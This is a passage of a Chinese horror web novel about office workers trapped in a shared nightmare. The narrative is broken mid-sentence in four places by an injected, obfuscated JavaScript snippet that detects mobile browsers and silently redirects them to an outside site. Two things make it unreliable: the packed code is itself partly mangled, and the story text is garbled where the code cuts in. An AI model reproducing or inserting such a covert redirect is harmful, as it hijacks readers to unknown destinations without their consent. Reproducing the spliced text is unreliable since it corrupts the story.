陆萌跟着看了眼,却推脱道:“唉,算了吧,没啥用。” “要不你背着?可能还是有点用……”陆萌纠结的声音,大概还剩30秒左右,转眼又改变了主意,“要不我背着也行……” 苇思航忍不住笑了。 枪虽然没有了子弹,但对怪物而言,总还有一定的威慑作用。怪物会因为装备霰/弹枪影响它向谁跑去的选择吗?其实她们并不知晓。 她们仅仅知道的是,她们的力量太弱小,对上怪物,根本没有什么战术可言。分头跑,听天由命。 这是一个二分之一的概率问题…… 苇思航道:“别废话了,你背着吧。” 她的声音十分笃定。 最后五秒。 陆萌犹犹豫豫,终于抓起那把霰/弹枪。 三,二,一——嘭! 陆萌手持霰/弹枪,像标枪一样往头上投掷,这次准确地命中了绿色肉瘤。柔嫩的肉瘤被枪/支的尖端刺破,痛苦地抽搐起来,流出灰色的粘液,红光在昏暗中急促地一亮一灭,几乎同时,门外传来了触手怪愤怒而痛苦的嘶鸣。 “跑!”陆萌捡起地上的霰/弹枪,招呼道。 安全门被狠狠撞开,一高一矮两道身影闯入停车场,朝着连廊的方向,一左一右狂奔! 粗壮的触手碾压过一片车辆组成的废墟,发出震耳欲聋的声音,表明了主人此时的暴怒。 苇思航不回头看,敏捷地避过路上遇到的障碍物,全部力气聚集在脚上,朝着连廊的方向拔足狂奔。 破坏的声音越来越远,连廊的入口越来越近。 苇思航喘息中意识到,触手没有追上来。 她停在连廊的入口,像是临着一条扭曲的湍急河流。 只受求生本能支配的大脑在这时重新运转起来。 她要等陆萌一起,没有她在前面引路,陆萌肯定会摔下去的…… 陆萌到哪里了?快来啊! 她忍不住回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673095|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,于是看到了—— 粗壮的触手看不到头,也看不到尾,从中部虬结成一团,让它看起来就像那个青灰色肉瘤的超级放大版,它像蟒蛇一样收紧,围剿着已经到手的猎物,肉与肉之间滑腻地贴近,力量足够嚼碎血肉。堆叠起来的高度逼近地下停车场的楼顶,皮肤上的吸盘正在贪婪地吞吐,仿佛一张张无声的魇足的笑脸。 苇思航迟迟没有看见陆萌的身影。 直到,一把染血的霰/弹枪被触手欢快地推挤着掉落下来,就像食客漫不经心吐出一根啃光的骨头。 想象中,她仿佛又一次看见陆萌高挑的红发背影,好似回应她从背后投来的视线,漫不经心地摆摆手。 GAMEOVER! 苇思航来不及哀悼。转身朝连廊跑去,像她们一开始约定好的那样。 她在连廊的废墟上狂奔,脚下每一步都伴随着金属的震颤,喉咙里涌上一股铁锈般的血腥味,恐惧如影随形,在她脚下拉出长长的阴影。 连廊两边,俯瞰着的A城风貌已经消失,取而代之城市天际线的,是一眼望不到边际的黑水,其中翻涌着的如同海浪一样的暗流,细看竟是无数张扭曲变形的脸!天地之间好像只剩下她一个人,下方的黑水中似乎传来怪异的低声,正在呼唤着她的名字…… 她以一往无前的气势,跑出大概十米,三分之一的长度。 半路不知想起了什么,一瞬间的怔忪袭来。 下一秒,她一脚踩空,急速坠落。 ……可恶! * 剩余电量29%的0373车内。 “——就是这样。” 苇思航总结陈词,总算是一口气讲完了她第二次梦魇历险的全程。 梦主嫌疑人赵梓龙死了,重逢的陆萌死了……在可预见的未来中,还可能死更多的人——不仅是“灵坟”内部,还有现实中,甚至包括苇思航自己。 听过了电子音对“灵坟”的解释,苇思航现在已经不再对梦魇中的死亡抱有幻想。 她是极其幸运的,因为她出来了。现在摆在她面前的,有一条已经确定的后路:把这一切都抛在脑后,一头撞死,回到废弃停车场重新开始…… 那边电子音隔了一会才反应过来,干巴巴地捧哏:“看来是我错怪你了……你在梦魇里坚持了蛮久的,干得好……” 苇思航打断它:“所以,你明白吗?” 电子音一吓,心里有种不好的预感,当即反问:“明白什么?” 苇思航坚定道:“我有必须回去的理由。” 电子音倒吸一口冷气:“……” ——找梦主,夺梦魇,救人命! 电子音:不是……大姐你来真的啊? “剩下的电量还够我死一次……不,其实没关系了,我打算一直待在里面,直到灵坟结束。”苇思航自言自语。 不等电子音回答,她像是预料到了对方的劝阻,不想再被动摇,毅然决然按下0373的熄火键。 车灯熄灭了,仪表盘漆黑下来,空调停止了运作,黑暗和寂静侵入了这个安全的小空间。 “有缘再见了,系统。”苇思航轻声告别。 她解锁车门,拉下车窗,感受到室外的潮热,凝望着后视镜中的黑水涟漪,觉得这个时候很适合点一根烟那样,什么叫做真正的背水一战……她放任自己沉浸在顾影自怜的英雄主义中几秒。 直到耳边熟悉的怒气冲冲的声音炸响。 “……你痴线啦!老子是电子音,不代表是电动的!视死如归觉得很帅是吧,两眼一抹黑一会就傻眼了你!” “……” 电子音早已不抱希望阻止她了。 人要送死,它还能拦着? 不过至少不能过于白给…… “现在赶紧认真听我讲!什么都不知道,还想从灵坟里活着出来?” 19. 18. 黑池(十一) 重新出现在混乱的连廊上,苇思航完全猝不及防,又一次差点掉出去,千钧一发之际,她四处乱抓,堪堪抱住栏杆,用一个四仰八叉的姿势在乱流中维持。如果这时有人从其中一侧经过,就会看见一个女人用一个极其怪异的姿势悬在本应是玻璃顶棚的地方,简直像是恐怖片里爬出的女鬼。 苇思航心里那个郁闷啊,怎么也没想到再次进入梦魇会是这个尴尬又危急的时点,好像游戏读档一样,卡在了难过的关卡……她不会一开始就白给了吧? 不可以犹豫!她甩开脑子里乱七八糟的想法,她上一次的死因……沉下心来,看着眼前的连廊,全神贯注,好像要光凭目光从中找出一条路出来。 她这才意识到,之前的赵梓龙就是这样做的。 临走前,电子音絮絮叨叨,给她灌了好一碗心灵鸡汤。 “一定要相信自己,不要犹豫!强烈的渴望本身就是爆发的精神力!” “这个梦魇本身是因为梦主强烈的毁灭潜意识生成的,只有当你有更强的意识,才有可能压倒和改变它!” 哪怕一瞬间,也足以决定生死。 赵梓龙当时强烈的想要回家的心情,让他眼中出现了通往前方的“路”,因此顺利到达了终点。 同样的事情,她一定也能做到! 她一定要回到东塔,找到真正的梦主,阻止未来的惨剧! 苇思航目视前方,晕厥和恶心的感觉交替袭来,可她不去想——并不代表着忽略,相反,异常清楚地感知到,那些折磨依旧存在,可它们仅仅是在她的外壳作乱,而她的本心不再飘忽,像是始终与地面垂直的钟摆。 不一会,她发现自己开始动作起来,来时的东塔,21层的电梯口在不远处朝她招手,距离一点点缩短,胜利就在前方!全然不知自己此时落在外人眼中的样子:手代替了脚,一路时而倒立,时而四肢着地地行进,宛如一只被邪灵附身的灵活的猴子。 她倒立着安全通过了连廊,手上传来绵软而坚实的触感,到达铺着地毯的室内区,她又多“走”了几步,直到在光滑的电梯门上看到自己的影子,她反倒给自己吓了一跳。 “啊!” 苇思航一声惊呼朝前扑倒,差点因此拧断自己的脖子。 好疼啊! 苇思航眼里泛起生理性的泪水。好处是,她不用自己动手了。 电子音的告诫又出现在脑中。 “这种小范围正向精神力的爆发,很可能会引起梦魇潜意识的警觉,调动能量对你发起围剿,很容易乐极生悲,所以一定要谨慎使用!最好每次用完,为了保命自个残啥的,负面精神力抵消一下,至于程度嘛,你自己把握咯……” 苇思航颇有种恍然大悟之感。 这也就解释了赵梓龙在逃脱之后很快遭遇不测,还有在楼梯口里,陆萌霰弹自伤,竟然真的很有必要…… 梦魇自救指南123,才刚刚开始。学吧,这太深了。 苇思航扭到左边脖子,钝痛隐隐传来,一时半会转不过来。就在这时,一旁的电梯响了。 “叮——”那声音划开死寂。 苇思航一个激灵,条件反射转头,脖子发出“咔咔”两声。 捂着脆弱的脖子,苇思航无比清晰地感受到手下脉搏的跳动,活着真好……她不想死,更重要的是,她也不能再死了。 一旁,电梯到达目标楼层,门安静地滑开,露出里面空无一人又整洁干净的轿厢。里面没有可疑的血迹,没有可怖的怪物,没有头顶的肉瘤……一切看起来再正常不过,内部的光源友好地发散着光明,正静静地欢迎着她的光临。 咦,她刚刚也没按电梯啊? 想起之前几次乘坐电梯的经验,苇思航憋着一口气,梗着脖子缓缓后撤。 狗都不坐! 电梯很执着,两侧的门一直没有关闭,仿佛里面有一个看不见的人按住了开门键,在等。 苇思航试探着后退几步,接着转身,撒丫子跑了起来。她一头扎进黑暗的楼梯间,回头一瞥,还能看到那大敞着的电梯门在地上投下的规整的光带,像一个明亮的牢。 又一次置身于阴暗的楼梯间内,只是这次,她孤身一人,身边没有了陆萌,只有头顶惨白的应急灯默默地陪伴。 但是她牢记电子音告诉她的话,在梦魇中时常感到恐惧,好于投身于温暖与舒适,后者很可能隐匿着真正的危险。 她听见自己独自一人的脚步声在墙壁之间孤单的回响,每次经过楼梯的拐角,明晃晃挂着的唯一的“4”没有变过,但还是每次都会让她的心狠狠跳一下;有时,她看见身后自己的影子随着灯光移动,恍然以为身后有人追上来了…… 这个时候,她格外地想念咋咋呼呼的陆萌。 也不知道她现在怎么样了,是按照她预见的那样,已经从噩梦中惊醒,没精打采地去上班了吗?那样最好了…… 只是不知道,下一次还能不能再见面……要是她的梦灵变了样子,自己能认出她来吗? 苇思航胡思乱想着,倒也不失为某种对抗恐惧的方式。 “缅怀”完陆萌,她又很自然地想到了赵梓龙。 有一个问题,赵哥是梦灵,还是幽灵? 经电子音提醒,苇思航意识到,这个问题对于找到梦主来说至关重要,非此即彼的二分法,她很可以从这个角度入手。 因为,她要找的是一个梦灵。 * 一开始,苇思航很确定,赵哥是梦灵。 电子音问:“为什么?” 苇思航答不上来。嗅觉是一个重要指标,但她并没有在赵哥身上验证过。 电子音一口道破:“是因为他长得像你现实中认识的人吧。” 是了。苇思航想想,点点头。 她不愿相信赵哥是幽灵,难道说赵哥已经死了? “他真还不一定就是你现实中认识的那个人噢。”电子音道,“这么说吧,‘赵梓龙’是一个角色,并不代指某个演员。被吸入这个梦魇中的梦灵和幽灵才是演员,都有可能拿到他的剧本。” 整个梦魇的设计仿佛一个自由度极高的舞台剧,剧情和人设由梦主操刀,交由大量的外来“演员”扮演,在看不见的“导演”推动下,上演着提前预设好的剧情。 苇思航张了张口,想说什么。 电子音看不见,却对她的反应了如指掌似的:“你是想问,那你自己是什么情况吧?” 苇思航忙点头,又忘了电子音其实看不见。 她从来没有拿到过任何“剧本”。她一开始就知道自己是“苇思航”,梦魇中的其他人也都认可这个身份,甚至连打卡机跳出来的大头照,也都属于她本人无误。 “所以你的推断没错。梦主看来真的是你的同事啊。”电子音说,“‘梦魇’根据演员与角色之间的适配度分配角色,这里面正好有一个‘苇姐’,没人比你本人更适合了,苇思航。” “好好想想吧,在你认识的人里,谁最有可能是这个梦魇的主人?”电子音的话音好像仍在耳边回响。 苇思航心里一动,想到另一件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15682025|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧本。 她没有印象拿到过“剧本”,但那并不代表,她的剧本就不存在…… 她是否应该期待一下,不知道梦魇还给她安排了哪些惊喜? 空荡的楼道,突然刺入急促的报警铃响,打断了苇思航的思绪,心都吓掉了一拍,她一步踩空,差点摔倒。 声音是从安全门外传来的,吸引着她一探究竟。 她站在楼梯口,安全门打开一条缝,让人神经衰弱的报警声扎进耳朵,乍见的照明连眼睛都觉得胀痛起来。 声音的源头,还是电梯。 门开得太久,引发了电梯的警报,机械地重复着,像是尖利的嘲笑。背上顿时冒出一层冷汗,苇思航这时意识到——原来她从来没有离开过21层。 开着的电梯门仍在锲而不舍地等候,轿厢内温暖的光源像是黑夜中开放的小卖部,亲切地催促着她光临,推销着她的最后一次机会。 ——还不过来吗? 苇思航像是受到了蛊惑,迈着脚步,一步一步朝着电梯间走去。 警报声乖巧地暂停了,敞开的电梯,安静中压抑着某种邪恶的兴奋,大张着嘴等待着猎物主动走进去…… 苇思航抬头,距离走进电梯仅仅一步之遥,她又看见轿厢内的镜面,映出的自己的影子。 熟悉的脸上绽放得意的狞笑。 她转头想逃,却发现自己被困在了电梯门前框出的光牢之中,不管往那个方向走,都会被偏移成朝向轿厢的方向,仿佛只剩下主动走进电梯这唯一的选择。 可去它的吧! 苇思航突然身子一矮,不过多时,手里多了一个东西,朝前狠狠一掷! 嘭的一声。 黑色的帆布鞋击中轿厢,孤零零地掉落下来,电梯门不再伪装,以匪夷所思的力气迅速闭合,如同紧咬的利齿,光牢紧跟着消失了,周围的空间发生了些微的扭曲,一瞬间的变化被苇思航捕捉。 跑! 苇思航转身,光着一只脚疾驰。这一次她没有选择重回楼道,而是选择了另一边,通往办公区的路。 身后尖利的警报声再次响起,像是某种声波攻击。苇思航没有回头,此时只有一个念头,离那座诡异的电梯越远越好! 她深一脚浅一脚地在铺着地毯的走廊上奔逃,看起来最多几十步路的地方,却像是没有尽头。头顶上的摄像头亮着绿色的指示灯,每隔一会就会重新出现。苇思航在反复几次后意识到:它们是同一个。 仿佛是梦魇的戏弄,她永远都跑不到办公区,她能做的,只能乖乖掉头,配合电梯的恶毒游戏。 难道她真的只能被困在这里? 无助和绝望涌上心头,她没穿鞋的右脚小腿肚也开始抽筋。就在这个时候,她余光瞥见无止尽的走廊边上,多出一个标志。 蓝底白字的男性人形剪影,突兀地钉在空白的墙面上。那是男厕的标志。 刚刚就有的吗?她有点记不太清了…… 仅仅一个标志而已,并没有入口。 她又经过了同样的地方几次,疑惑中脚步也慢了下来,跑变成了走。 她无法说服自己相信梦魇中出现的诡异现象,怀疑这往往预示着更大的危机。 何况看上去就够可疑的,突然出现的男厕…… 苇思航默默计数,又一次经过头顶的监控摄像头,再走几步又到了男厕标志,越走越近,她看到,走廊的墙上,凭空出现一道门——男厕的入口! 门内伸出一双手…… 苇思航再度被拽了进去。 20. 19. 黑池(十二) 苇思航大惊之下,开始挣扎,立刻跟那人缠斗起来。 她那种搏命的劲头,让对方节节败退,不得不出声求饶。 “别打了,是我,苇姑娘……” 苇思航手下一顿。 ……苇姑娘? 什么鬼? 她揪着对方后脖子上的衣领,松开手,那人慌忙地整理着自己的衣服,颇有几分古板之相。 转过头来,脸上一张熟悉的黄符,冲苇思航sayHi。 “是你!”苇思航十分惊喜。 含晦整装肃容,黄符端端正正:“正是在下。” 再次见到熟悉的人,苇思航十分振奋,此前她还隐隐担心呢,不知道含晦和尉迟龙鸣怎么样了…… 虽然是萍水相逢,也是莫大的缘分。 何况,临分别前,他们可是差一点就组上队了啊! 苇思航打量含晦,除了脸上的黄符没变,他身上的装束,从道袍换成了一件灰扑扑的……保安服? ——看来这就是他在梦魇中被分配的角色了。 在这里,他的名字叫梁栋,新入职的小保安一枚,苇思航知道有这么个人,但是名字和人对不上号——可能也不需要了,反正她也不知道含晦黄符下面长什么样。 “你怎么会在这里?”苇思航问。 含晦迟疑一下,语气有点叹气的意思:“说来话长……” 他一开始在岗亭里坐班,因为裁员的事,被叫来维持秩序。含晦一早觉醒,趁着这个机会,躲进了男厕里。 苇思航闻言看了看四周,这里和她之前进过的女厕格局差不多,额外在尽头的墙角多了两个小便池,她和含晦站在隔间和洗手台中间的走廊上,想起上一次在女厕里看到的诡异场景,她的注意力放到洗手台的镜子上——还好,里面清晰地映出她的影子,看上去再正常不过。隔间门就算没人也是关上的,目光所及的空间内只有他们两个……但愿吧。 “为什么是男厕?”她好奇。 含晦以问话作答,诚恳道:“不然我去女厕吗?” 苇思航竟反驳不能:“……” 那多变态啊! “我明白你的意思,”含晦随后说,“厕所里比较安全,我可以在这里面安心找人。” 苇思航感觉自己头顶冒出问号:“?” ……这说的是中文吗? “有人来的时候,我就躲进最里面的那个隔间里。”含晦手指了指。 他这才慢慢解释他何出此言。 厕所在梦魇中,通常没有实际作用,只有某种象征意义,而且,不管你信不信,梦里的厕所一般都很脏—— “你要去看一下吗?”含晦顺口提议道,指着那一排神秘的隔间门。 苇思航沉默半响,拒绝:“不必了……” 她想起自己也梦到过,曾经在梦里进入一个卫生间,每个隔间都有意象不到的“惊喜”,简直让人无法下脚,看一眼都觉得自己脏了的程度…… 现在是因为隔间门关着,她又闻不到味道,所以显得还好。也正因为有那样的特征,保留嗅觉的幽灵不会轻易靠近,“厕所”就成了一个天然的庇护所。 “幽灵怎么了,你不也是幽灵吗?” 含晦回答:“并不是所有幽灵都和我一样保持清醒,有些幽灵被梦魇蛊惑,成为邪灵,完全受其驱使,不得不防。” 苇思航明白了,忍不住怜悯地看着含晦,正因为他也是一个幽灵,想必正在竭力忍受着这里弥漫的异味。 她听谁说来着,厕所的冲水坏了…… “我没关系。”含晦却指指自己,一下看出了苇思航心中所想,“我有特殊能力。” 又是特殊能力! 含晦手指着的,实际是自己脸上的黄符,那上面一直有些鬼画符,只是苇思航之前从未仔细看过,只见那上面现在写了两个龙飞凤舞的字:“勿嗅。” 含晦老实道:“一次可以加一个buff。多亏了这个,我才能坚持到现在。” 苇思航朝他竖起大拇指。 “那你刚刚说的,怎么找人?——哦,对了,还有农民哥呢?” 含晦语气黯然:“……科长,我还在等一个机会。刚才,我在监控里看到你好像遇见了什么麻烦,这才……” 含晦说着,指向一旁,竟是一台笔记本电脑! 苇思航的眼睛一下子就瞪大了! 竟然还有这种操作! 含晦凑过去,在触摸屏上划拉了两下,屏幕便亮了起来。 藏在楼内的各个监控摄像头传回实时画面,将屏幕分成了不计其数的小块。 “一开始是我的人物设定,不能离开监控画面太远,我就索性带着了。”含晦解释道,“不过后来,我也觉得,有监控看挺好的。” 正是因为有监控,他才能注意到21层狂奔的苇思航,选择在恰当的时候出手相救。 “你怎么认出是我的?”苇思航好奇道,“我在之前的梦魇里,可不长现在这样。” “多亏有这个。”含晦说着,拿出一个东西——苇思航的工牌。 准确的说,苏秀禾的工牌,他在15层梦境崩塌的时候恰好拽在手里的。 苇思航十分惊奇,更惊奇的是,看到上面的信息已经被梦魇自动修正,成了她的名字和照片。 “原来如此。” 苇思航如今看着含晦的表情,简直就像看着一个行走的外挂。 含晦接着道:“现在‘魇境’的存在已经名存实亡,不过在这个魔王母魇中,因为要容纳所有外来的梦灵和幽灵,还是遵循了魇境里一层一层梦境叠放的方式。我的监控能看到每一层正在发生的事情。” 就像是每一层小型剧场,不同的剧组,正在循环上演着类似的剧情。 受到梦魇蛊惑化身邪灵的幽灵,是其中最为敬业的演员,进行到剧情的某一步,正在大开杀戒…… “你刚刚所在的21层,属于未经渲染的剧情支线,按理说你只能搭乘电梯,回到13层及以下,不然就只能困在无限走廊的bug里。”含晦道,“好在这栋楼被分化出了很多层,却共享同一个男厕——可能女厕也一样,不清楚了——我也是后来才发现的,只要调整房间里坏掉的计时器,可以到达其中任何一个楼层。” 跟随含晦的介绍,苇思航看到了那个神奇的计时器——时间正在一分一秒的流逝着,扭到21开始的,现在还剩15分钟。 “只有当相应的时间耗尽,才能够进行下一次跳转。”含晦道,意味着,他们至少还可以在风平浪静的21层待上15分钟。他的目光重新回到监控画面的电脑屏幕上。 怀着沉重的心情,他指了指右上角,“我找了很久,才看到科长。我去过他的楼层,可他已经不认识我了。他陷得很深,恐怕……没多少时间了。” 苇思航顺着他的手指看去,果然,看到了尉迟龙鸣的身影。 他全身绷在一件业务人员的黑西服里,看起来和苇思航上次见到时并无什么不同……不,有什么东西明显不同了。 他高大的身形佝偻着,目光犹疑躲闪,青黑的眼圈显得尤其疲惫。 他已经二十多个小时没有合眼了。 主管刚刚宣布了上一个季度的KPI考察情况,他没能完成,哪来的资格睡觉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687750|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当着团队的所有人,他胸前挂着“我是废物”的标语牌,活像古代犯人一样,在办公室巡街示众。 “我是废物!我是废物!我是废物!” 他声嘶力竭地大吼起来,一开始的羞耻和自我怀疑让他的声音如同耳语,可是很快,随着一遍遍的重复,他的声音越来越大,越来越激昂,仿佛宣布着什么值得骄傲的大事,他愤怒而痛苦地揪着自己的头发,直到回到工位上也没能平复心情,他目光发直,一下下狠狠地撞向狭小工位旁边的墙壁,眼中淌下淡粉色的泪水。 他是废物他是废物他是废物…… 被告知团队只有KPI前50%的人才能留下,意味着只有7个名额的淘汰赛。 一个念头像烙印一样突然出现在他迷狂的心中。 ——他一定要在比赛中胜出,保住这份工作。 哪怕……杀了他们。 * “……为什么啊?”好半天,苇思航冒出一句。 看到了尉迟龙鸣几近崩溃的样子,她怎么也想不到,那个看起来意志坚强经验丰富的幽灵调查员会落到这一步。 尤其,她和含晦都还好好的…… 他们的精神力明显还要更弱啊,不是吗? 含晦道:“我觉得跟精神力没什么关系,越是要强进取的个性,更容易被蛊惑。” 苇思航看了看面前人淡如菊的含晦,又想想自己,感觉好像只有这一个解释…… 含晦有些丧气:“科长现在已经有了入魔的征兆,等到眼里淌下血泪,就会完全丧失理智,沦为邪灵。” 他说着,又指了指监控画面中的一个。 惨无人道的屠/杀场景。 那个眼下两行血迹,脸上挂着癫狂的笑容的女人,苇思航记得的。 一个扮演“刘晨曦”角色的幽灵。 因为这个名字太过常见了,苇思航没有跟自己办公室里的“刘晨曦”划上等号,又或者,她还是更习惯刘晨曦的英文名Cecelia——刘晨曦自己是这样坚持的。 ……这不就是她之前所在的那一层? 苇思航正要继续看下去,听见含晦忽而一叹,语气里有种说不出的沮丧。 “苇姑娘,你说我这是不是在白费功夫?” 苇思航还没回答,又听含晦幽幽道:“人都在灵坟了,难道我还能指望和科长活着出去?” 他的声音逐渐低不可闻:“我做的这一切都没有意义……科长只是凡事都先我一步,他现在所经历的,也是我将来要经历的,躲不开,逃不了……” 苇思航悚然一惊,去看含晦,只见黄符之后,他的眼下不知何时也多了两道湿痕,极其浅淡却也不容置疑的淡粉色。 她心中惊疑,不由分说,赶紧搡了含晦一下,粗声粗气道:“别犯傻了!” “是啊,别犯傻了……” “我是说啊,叫你别——犯——傻——了!”苇思航提高声音,凑到他耳边道。 含晦失焦的目光拉回来一点。 “怎么会是没有意义?你刚才救了我啊!”苇思航振振有词。 “不努力永远都不会知道!更何况生死攸关,更要殊死一搏!放心,我有计划,我们一定会救下农民哥,然后从这里出去的!” 含晦还未说什么,苇思航自己先感叹,妈呀,这也太热血太鸡汤了吧! 难道是电子音临走前的培训开始起作用了? 下一秒,她十分严谨,将手对准洗手台,狠狠一劈! 差点骨裂的疼痛消解了那股中二的正能量。 “啊痛痛痛!痛死我了!”她眼含热泪,心里大骂梦魇变态。 21. 20. 黑池(十三) 第八层梦魇小剧场。 因为主要人物的行为偏移开启了不同的支线,徐总临时宣布,要在各个业务员中以比赛的方式决出最终的裁员名单。 谢阳又有了一丝希望。 “还不走啊?”九点了,同事从格子间上方探出半个头,语气似笑非笑。 谢阳下意识把屏幕切换成桌面,对上同事意味不明的目光。 “很快了,你们先走吧。”他淡道。 “嚯,真卷!”同事像牙酸一样,吐槽一句,“没做完的明天继续做呗!” 谢阳笑笑,没答话。 徐总下班前布置的任务,说是不急,但是明天早上要。这份企划书,将会决定他们最终的去留。 那同事嘟嘟囔囔,偷偷摸摸把电脑装进了包里。打算带回家写。——他不知道的是,他根本走不出这层办公楼。 谢阳看着同事远去,硬憋出来的笑容从脸上消失了。 他没办法带回家做。他的出租屋离公司很远,光是通勤就要两个小时,还是在公司做完好了。 反正之前在公司通宵,又不是没有过。何况这次生死攸关。 他其实已经很累了,昨天也只睡了三四个小时,此刻感觉胸口里装着一台老旧的发动机,动一动就抽痛。 他重新打开幻灯片,开始为明天的汇报做准备。 屏幕上每一个字都在蜷缩着跳动,他的反应变得很迟缓,时而像幻觉一样,听见从远方传来的惨叫声,他一点也没有感到好奇,连姿势都没有变过,几乎进入了一种忘我的境界,办公室里的其他人好像都不见了似的,只剩下他和他的格子间,头顶惨白的光源默默注视着这一切,在他的桌面上留下成群的虫子一样的阴影。 他机械地举手打字,光标在屏幕上匀速向前推进着,这时,一个声音从上方传来。 “还不走啊?” 又是这个问题,谢阳脸色阴沉,几乎懒得理——有没有点眼力见啊?他正写着东西呢没看见?真是该死! 一定是故意打扰他!试探明天的比赛,肮脏的战术…… 他心里涌现的念头,就像他此时指尖流淌出来的文字一样顺畅无比。 但他还是硬挤出一个笑容,目光不舍地从屏幕上离开,不情不愿地看向来人。 “嗯啊,有事吗?” 格子间的挡板遮住对方半张脸,眼睛藏在眼镜的阴影之后,可他还是认出来了,这是…… “……苇姐?” 谢阳有些意外,又加上一句:“您也还没走啊?” 苇姐在办公室里存在感不强,又架不住她资历颇深,位高权重,谁见了都要高看一眼。 “一会就走。你在这鼓捣什么呢?” 谢阳又一次切回桌面,回答:“没什么。徐总要个东西。” 苇姐冲他微笑,那样子没来由有几分熟悉:“我看你刚才都快睡着了。” “……是吗?”谢阳脸快要裂开,上半张脸瞪大了眼睛,像是惊愕,下半张脸僵硬地咧着嘴,露出一个神经质的笑容,心里有种恼羞成怒的感觉。 她懂个屁!一定,一定是肮脏的战术…… “这个给你。要打起精神来啊!”苇姐递给他一个东西,便转身离去。 是速溶咖啡。 谢阳笑道:“谢谢苇姐。” 他给自己泡了一杯咖啡。 当然不是苇姐给的那条。他怎么可能喝别人的东西?万一被下毒怎么办?这么重要的节骨眼上…… 端着一杯热气腾腾的热咖啡,他从茶水间朝自己的格子间走去。 地板黏腻不堪,他好像不小心踩到了哪个同事的手,怪怪的,他们是在地上睡觉吗?……先不管了。他脑中只剩下一件事,边走边干掉大半杯滚烫的咖啡,快步回到自己的位置上,急切地按亮屏幕。 写到半途的幻灯片上,满屏的二号粗体字,只有一句话。 我是废物我是废物我是废物 我是废物我是废物我是废物 我是废物我是废物我是废物…… 咖啡杯被碰倒了,深色的液体渗进地毯,跟血混在一起。谢阳半是愤怒半是惊恐地低吼起来。 是谁篡改了他天衣无缝的企划? 是不是你??是不是你?? 办公室横亘的死尸没有一个能回答他。 轰隆隆,轰隆隆……吸尘器运作的声音。 更大范围的清洗,开始了。 * 8层,男厕。 计时器刚过去五分钟。 “苇姐,怎么样了?”——不知从什么时候开始,含晦也开始改口叫“苇姐”了。 苇思航道:“我刚刚去试探了下,别着急,要是没效果,我一会再去一趟。” 含晦面带忐忑地点点头,就算不相信苇姐,也得相信咖啡利尿的效果…… 苇思航道:“你确定只要把农民哥引来卫生间,就能让他清醒过来吗?” 含晦又点点头:“应该可以。” “什么叫应该!”苇思航头顶黑线,“万一他就在这里变邪灵了怎么办!” 到时候他们连逃跑的地方都没有! 含晦沉默半晌:“应该不会。” “……” “虽然我不太清楚具体的,但是科长的特殊能力好像跟厕所有关……还是他跟我说的,进入梦魇的第一件事,就是先找厕所……” ……这算哪门子特殊能力啊?苇思航想象不出来。 普通打工人上班有空就往厕所里钻,但谢阳没有空。 他的工作堆积成山,从早忙到晚,恨不得把一分钟掰开当两分钟用,把上厕所的时间视为浪费。 更何况如今他们在梦魇中,“上厕所”本身就是一个伪需求。 在苇思航之前,含晦也有想过怎样让那个“谢阳”来厕所一趟。 软的硬的都用过了。 于是就有了——谢阳在工作中抬起头,手里不知被什么人偷塞进一张纸条。 “阳哥,来趟厕所。”为了表示善意,含晦在后面画了一个笑脸,却让纸条的用意显得更加离奇。谢阳没有理睬,随手把纸条丢掉。 在厕所里等了好久的含晦忍不住了,第二次直接豁出去,身穿保安服,冲过去就拉着谢阳往男厕的方向拽:“阳哥,跟我走一趟。” “神经病啊你!”谢阳怒骂,连带着脖子都涨红了。 如果不是这个时候他被人叫去,说真的,他真想在那个奇怪保安的脸上招呼一下。 旁边目睹这一切的人窃窃私语起来。 “这年头变态真多……” “不是啦,那个人是保安,是不是调查呢,听说了吗,前几天哦,男厕里发现有个变态……” “……什么意思?所以是怀疑谢阳?” “我可没这么说,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693190|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么那么大反应,怕不是心里有鬼哦?” 谢阳听到这,冷哼一声,铁青着脸,文件夹挡在脸前匆匆离去。留下含晦也毫无办法。 